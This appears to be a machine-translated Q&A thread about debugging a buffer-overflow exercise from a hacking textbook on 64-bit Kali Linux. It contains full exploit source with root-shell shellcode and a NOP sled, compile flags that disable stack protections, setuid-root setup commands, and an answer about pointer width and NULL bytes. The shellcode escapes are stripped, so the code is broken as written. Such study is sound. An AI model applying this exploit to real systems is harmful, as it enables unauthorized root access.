所以,首先,我在Kali 2020.1上,完全更新。 64位。 源代码如下:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include "hacking.h"
#include <unistd.h>
#include <stdlib.h>
char shellcode[]=
"x31xc0x31xdbx31xc9x99xb0xa4xcdx80x6ax0bx58x51x68"
"x2fx2fx73x68x68x2fx62x69x6ex89xe3x51x89xe2x53x89"
"xe1xcdx80";
int main(int argc, char *argv[]) {
long int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // Zero out the new memory.
strcpy(command, "./notesearch '"); // Start command buffer.
buffer = command + strlen(command); // Set buffer at the end.
if(argc > 1) // Set offset.
offset = atoi(argv[1]);
ret = (long int) &i - offset; // Set return address.
for(i=0; i < 160; i+=4) // Fill buffer with return address.
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // Build NOP sled.
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "'");
system(command); // Run exploit.
free(command);
}
现在,一些重要的澄清。我包含了所有这些库,因为编译在没有它们的情况下会抛出警告。 前面的笔记和笔记搜索程序,以及这个exploit_notesearch程序已经在终端中编译如下:
gcc -g -mpreferred-stack-boundary=4 -no-pie -fno-stack-protector -Wl,-z,norelro -z execstack -o exploit_notesearch exploit_notesearch.c
我不再记得源代码说我必须以这种方式编译(他们的首选堆栈边界是 2,但我的机器要求它在 4 到 12 之间(。此外,如您所见,堆栈现在是可执行的。
所有 3 个程序(notetaker、notesearch 和 exploit_notesearch(都修改了其权限,如书中所示:
sudo chown root:root ./program_name
sudo chmod u+s ./program_name
我尝试遵循此链接中的解决方案: 调试缓冲区溢出示例 ,但无济于事。此链接也是如此: 不那么快的外壳代码漏洞利用
通过使用 for 循环在终端中使用 1、10、20 和 30 的增量将偏移量从 0 增量更改为 330 也没有解决我的问题。无论我做什么,我都会不断遇到分段错误。
在我的情况下可能是什么问题,克服上述问题的最佳方法是什么?谢谢。
附言我记得读到我应该使用 64 位外壳代码而不是提供的那个。
当您出现段错误时,现在是在 GDB 等调试器中运行它的好时机。它应该告诉您崩溃的位置,您可以逐步执行并验证您所做的假设。最常见的段错误往往是无效的内存权限(例如尝试执行不可执行的页面(或无效的指令(例如,如果您降落在shellcode中间,而不是NOP雪橇中(。
您在尝试将漏洞转换为在 32 位上工作时遇到了几个问题。当用返回地址填充缓冲区时,当 64 位上的指针实际上是8
字节时,它使用常量4
。
for(i=0; i < 160; i+=4) // Fill buffer with return address.
*((unsigned int *)(buffer+i)) = ret;
在尝试利用strcpy
bug 时,这也可能会出现一些问题,因为这些 64 位地址将包含 NULL 字节(因为可用地址空间仅使用 8 个字节中的 6 个(。因此,如果在实际覆盖堆栈上的返回地址之前有一些过早的 NULL 字节,则实际上不会复制足够的数据来按预期利用溢出。